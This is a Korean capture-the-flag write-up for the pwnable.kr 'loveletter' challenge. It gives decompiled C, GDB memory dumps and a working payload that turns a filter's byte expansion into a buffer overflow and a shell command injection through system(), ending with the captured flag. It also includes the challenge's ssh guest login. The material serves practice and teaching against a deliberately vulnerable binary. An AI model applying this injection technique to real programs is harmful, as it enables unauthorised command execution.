Description
At the end... all that matters is love. author: Jiwon Choi ssh [email protected] -p2222 (pw:guest)
Decompiled src
- protect
a1
에 "#&;
‘\”|*?~<>^()[]{}$\\,”` 특수 문자 중 하나가 있으면, 그 뒤에 이어지는 문자열을 따로 빼고, 원래 문자열을 ♥로 잘라내고 다시 붙인다.
unsigned int __cdecl protect(const char *a1) { size_t i; // eax size_t v2; // esi size_t v3; // eax size_t v5; // [esp+1Ch] [ebp-12Ch] size_t j; // [esp+20h] [ebp-128h] char v7[279]; // [esp+25h] [ebp-123h] BYREF unsigned int v8; // [esp+13Ch] [ebp-Ch] v8 = __readgsdword(0x14u); strcpy(v7, "#&;`'\"|*?~<>^()[]{}$\\,"); v5 = 0; for ( i = strlen(a1); i > v5; i = strlen(a1) ) { for ( j = 0; strlen(v7) > j; ++j ) { if ( a1[v5] == v7[j] ) { strcpy(&v7[23], &a1[v5 + 1]); *(_DWORD *)&a1[v5] = 0xA599E2; // ♥ v2 = strlen(&v7[23]); v3 = strlen(a1); memcpy((void *)&a1[v3], &v7[23], v2); } } ++v5; } return v8 - __readgsdword(0x14u); }
- main
사용자에게 “lover’s name”을 물어보고 fgets
로 읽는다.
fgets
가 남기는 '\\n'
을 0
으로 덮어써서 문자열 끝을 정리한다.
protect(s)
를 호출해 이름에 포함된 쉘 특수문자를 모두 하트(♥)로 치환한다.
prolog
+ (하트로 필터링된)이름
+ epilog
순으로 loveletter
변수에 복사하고 system(loveletter)
을 호출한다.
int __cdecl main(int argc, const char **argv, const char **envp) { __gid_t v3; // esi __gid_t v4; // eax int v6; // [esp+0h] [ebp-12Ch] char s[256]; // [esp+4h] [ebp-128h] BYREF size_t n; // [esp+104h] [ebp-28h] size_t v9; // [esp+108h] [ebp-24h] size_t v10; // [esp+10Ch] [ebp-20h] unsigned int v11; // [esp+110h] [ebp-1Ch] int *p_argc; // [esp+120h] [ebp-Ch] p_argc = &argc; HIBYTE(v6) = HIBYTE(argv); v11 = __readgsdword(0x14u); memset(loveletter, 0, sizeof(loveletter)); v9 = strlen(epilog); n = strlen(prolog); printf("♥ My lover's name is : "); fgets(s, 256, stdin); if ( s[strlen(s) - 1] == 0xA ) s[strlen(s) - 1] = 0; puts("♥ Whatever happens, I'll protect her..."); protect(s); v10 = strlen(s); puts("♥ Impress her upon my memory..."); memcpy(&loveletter[(unsigned __int16)idx], prolog, n); idx += n; memcpy(&loveletter[(unsigned __int16)idx], s, v10); idx += v10; memcpy(&loveletter[(unsigned __int16)idx], epilog, v9); idx += v9; puts("♥ Her name echos in my mind..."); v3 = getegid(); v4 = getegid(); setregid(v4, v3); system(loveletter); return 0; }
Analysis
언뜻보기엔 fgets
를 통해 256바이트만 입력받기에 버퍼 오버플로우가 발생하지 않은 것처럼 보이지만,
int __cdecl main(int argc, const char **argv, const char **envp) { ... char s[256]; // [esp+4h] [ebp-128h] BYREF ... fgets(s, 256, stdin); ... }
protect
함수에서 특수문자들 중 하나가 포함되면 특수 문자 1바이트가 4바이트씩이나 차지하는 마법을 볼 수 있다.
unsigned int __cdecl protect(const char *a1) { ... strcpy(v7, "#&;`'\"|*?~<>^()[]{}$\\,"); ... if ( a1[v5] == v7[j] ) { strcpy(&v7[23], &a1[v5 + 1]); *(_DWORD *)&a1[v5] = 0xA599E2; // ♥ v2 = strlen(&v7[23]); v3 = strlen(a1); memcpy((void *)&a1[v3], &v7[23], v2); } } ... }
따라서 fgets
를 통해 입력할때 A
문자 253
개 넣고 특수문자 ;
을 넣으면, 0xffffd5c0
주소에는 0xc
, n = strlen(prolog);
값이 들어간다.
Breakpoint 7, 0x0804928c in protect () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0 $ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax $ecx : 0xf7fae9b4 → 0x00000000 $edx : 0x1 $esp : 0xffffd350 → 0xf7e08e5b → add ebx, 0x1a41a5 $ebp : 0xffffd498 → 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000 $esi : 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter" $edi : 0xf7ffcb80 → 0x00000000 $eip : 0x0804928c → <protect+0076> jmp 0x804936d <protect+343> $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ───────────────────────────────────────────────────────────────────────── stack ──── 0xffffd350│+0x0000: 0xf7e08e5b → add ebx, 0x1a41a5 ← $esp 0xffffd354│+0x0004: 0xf7ffdc0c → 0xf7ffdba0 → 0xf7fbe780 → 0xf7ffda40 → 0x00000000 0xffffd358│+0x0008: 0xffffd3d4 → 0x0804d1a0 → 0x20a599e2 0xffffd35c│+0x000c: 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0xffffd360│+0x0010: 0x08048335 → "puts" 0xffffd364│+0x0014: 0xf7fd0294 → add esp, 0x30 0xffffd368│+0x0018: 0x0804828c → 0x00000029 (")"?) 0xffffd36c│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8049272 <protect+005c> mov WORD PTR [ebp-0x10f], 0x2c5c 0x804927b <protect+0065> mov BYTE PTR [ebp-0x10d], 0x0 0x8049282 <protect+006c> mov DWORD PTR [ebp-0x12c], 0x0 → 0x804928c <protect+0076> jmp 0x804936d <protect+343> 0x8049291 <protect+007b> mov DWORD PTR [ebp-0x128], 0x0 0x804929b <protect+0085> jmp 0x8049346 <protect+304> 0x80492a0 <protect+008a> mov edx, DWORD PTR [ebp-0x12c] 0x80492a6 <protect+0090> mov eax, DWORD PTR [ebp-0x13c] 0x80492ac <protect+0096> add eax, edx ─────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "loveletter", stopped 0x804928c in protect (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x804928c → protect() [#1] 0x80494b0 → main() ──────────────────────────────────────────────────────────────────────────────────── gef➤ x/wx $ebp-0x13c 0xffffd35c: 0xffffd4c0 gef➤ x/70wx 0xffffd4c0 0xffffd4c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd5b0: 0x41414141 0x41414141 0x41414141 0x00003b41 0xffffd5c0: 0x0000000c 0x0000000b 0xf7d9f4be 0xb3c9a000 0xffffd5d0: 0xffffd610 0xf7fbe66c
그러나 치환되는 4바이트 값에 의해, n
값을 0으로 만들어줄 수 있다.
Breakpoint 6, 0x0804933c in protect () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd5c0 → 0x00000000 $ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax $ecx : 0x0 $edx : 0x0 $esp : 0xffffd340 → 0xffffd5c0 → 0x00000000 $ebp : 0xffffd498 → 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000 $esi : 0x0 $edi : 0xf7ffcb80 → 0x00000000 $eip : 0x0804933c → <protect+0126> add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ───────────────────────────────────────────────────────────────────────── stack ──── 0xffffd340│+0x0000: 0xffffd5c0 → 0x00000000 ← $esp 0xffffd344│+0x0004: 0xffffd38c → 0xf7e8f600 → <read+0090> mov edx, DWORD PTR [esi-0x134] 0xffffd348│+0x0008: 0x00000000 0xffffd34c│+0x000c: 0x08049226 → <protect+0010> add ebx, 0x2dda 0xffffd350│+0x0010: 0xf7e08e5b → add ebx, 0x1a41a5 0xffffd354│+0x0014: 0xf7ffdc0c → 0xf7ffdba0 → 0xf7fbe780 → 0xf7ffda40 → 0x00000000 0xffffd358│+0x0018: 0xffffd3d4 → 0x0804d1a0 → 0x20a599e2 0xffffd35c│+0x001c: 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ─────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8049335 <protect+011f> push eax 0x8049336 <protect+0120> push edx 0x8049337 <protect+0121> call 0x8049060 <memcpy@plt> → 0x804933c <protect+0126> add esp, 0x10 0x804933f <protect+0129> add DWORD PTR [ebp-0x128], 0x1 0x8049346 <protect+0130> sub esp, 0xc 0x8049349 <protect+0133> lea eax, [ebp-0x123] 0x804934f <protect+0139> push eax 0x8049350 <protect+013a> call 0x80490d0 <strlen@plt> ─────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "loveletter", stopped 0x804933c in protect (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x804933c → protect() [#1] 0x80494b0 → main() ──────────────────────────────────────────────────────────────────────────────────── gef➤ x/70wx 0xffffd4c0 0xffffd4c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd5b0: 0x41414141 0x41414141 0x41414141 0xa599e241 0xffffd5c0: 0x00000000 0x0000000b 0xf7d9f4be 0xb3c9a000 0xffffd5d0: 0xffffd610 0xf7fbe66c
main으로 복귀했을때도 main의 n
은 [ebp-28h]
위치에 있는데, 0으로 덮힌다.
[ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax $ecx : 0x0 $edx : 0x100 $esp : 0xffffd4a0 → 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebp : 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000 $esi : 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter" $edi : 0xf7ffcb80 → 0x00000000 $eip : 0x080494bd → <main+0118> call 0x80490d0 <strlen@plt> $eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ───────────────────────────────────────────────────────────────────────── stack ──── 0xffffd4a0│+0x0000: 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp 0xffffd4a4│+0x0004: 0x00000100 0xffffd4a8│+0x0008: 0xf7fad620 → 0xfbad2288 0xffffd4ac│+0x000c: 0x080493c0 → <main+001b> add ebx, 0x2c40 0xffffd4b0│+0x0010: 0xf7fc6460 → 0x00000000 0xffffd4b4│+0x0014: 0xf7ffd000 → 0x00036f2c 0xffffd4b8│+0x0018: 0xf7fc6700 → 0x74725f00 0xffffd4bc│+0x001c: 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter" ─────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80494b3 <main+010e> sub esp, 0xc 0x80494b6 <main+0111> lea eax, [ebp-0x128] 0x80494bc <main+0117> push eax → 0x80494bd <main+0118> call 0x80490d0 <strlen@plt> ↳ 0x80490d0 <strlen@plt+0000> jmp DWORD PTR ds:0x804c030 0x80490d6 <strlen@plt+0006> push 0x48 0x80490db <strlen@plt+000b> jmp 0x8049030 0x80490e0 <memset@plt+0000> jmp DWORD PTR ds:0x804c034 0x80490e6 <memset@plt+0006> push 0x50 0x80490eb <memset@plt+000b> jmp 0x8049030 ─────────────────────────────────────────────────────────── arguments (guessed) ──── strlen@plt ( [sp + 0x0] = 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ) ─────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "loveletter", stopped 0x80494bd in main (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80494bd → main() ──────────────────────────────────────────────────────────────────────────────────── gef➤ x/wx $ebp-0x28 0xffffd5c0: 0x00000000
따라서
memcpy(&loveletter[(unsigned __int16)idx], prolog, n);
코드를 무력화시킬 수 있다.
Result
최종적으로 ("cat flag " + "A"*244 + ";"*1)
텍스트를 만들어서 보내면 치환되어 bof 취약점을 일으켜 n의 len 값이 0이되고, s 문자열에 의해 flag를 획득할 수 있다.
Breakpoint 1, 0x080495c9 in main () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebx : 0x0804c000 → 0x0804bf10 → <_DYNAMIC+0000> add DWORD PTR [eax], eax $ecx : 0x3e8 $edx : 0x0 $esp : 0xffffd4a0 → 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $ebp : 0xffffd5e8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000 $esi : 0x3e8 $edi : 0xf7ffcb80 → 0x00000000 $eip : 0x080495c9 → <main+0224> call 0x80490c0 <system@plt> $eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ───────────────────────────────────────────────────────────────────────── stack ──── 0xffffd4a0│+0x0000: 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp 0xffffd4a4│+0x0004: 0x000003e8 0xffffd4a8│+0x0008: 0xf7e64cf0 → <getegid+0010> ret 0xffffd4ac│+0x000c: 0x080495b2 → <main+020d> sub esp, 0x8 0xffffd4b0│+0x0010: 0xf7fc6460 → 0x00000000 0xffffd4b4│+0x0014: 0xf7ffd000 → 0x00036f2c 0xffffd4b8│+0x0018: 0xf7fc6700 → 0x74725f00 0xffffd4bc│+0x001c: 0xffffd6b4 → 0xffffd7f8 → "/home/ubuntu/pwnable.kr/loveletter/loveletter" ─────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80495bf <main+021a> sub esp, 0xc 0x80495c2 <main+021d> lea eax, [ebx+0xa0] 0x80495c8 <main+0223> push eax → 0x80495c9 <main+0224> call 0x80490c0 <system@plt> ↳ 0x80490c0 <system@plt+0000> jmp DWORD PTR ds:0x804c02c 0x80490c6 <system@plt+0006> push 0x40 0x80490cb <system@plt+000b> jmp 0x8049030 0x80490d0 <strlen@plt+0000> jmp DWORD PTR ds:0x804c030 0x80490d6 <strlen@plt+0006> push 0x48 0x80490db <strlen@plt+000b> jmp 0x8049030 ─────────────────────────────────────────────────────────── arguments (guessed) ──── system@plt ( [sp + 0x0] = 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ) ─────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "loveletter", stopped 0x80495c9 in main (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80495c9 → main() ──────────────────────────────────────────────────────────────────────────────────── gef➤ x/wx $esp 0xffffd4a0: 0x0804c0a0 gef➤ x/s 0x0804c0a0 0x804c0a0 <loveletter>: "cat flag ", 'A' <repeats 244 times>, "♥ very much!" gef➤
loveletter@ubuntu:~$ nc 0 9034 cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; I_Am_Y0ur_eternal_Lov3r cat: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA♥: No such file or directory cat: very: No such file or directory cat: 'much!': No such file or directory ♥ My lover's name is : ♥ Whatever happens, I'll protect her... ♥ Impress her upon my memory... ♥ Her name echos in my mind... ^C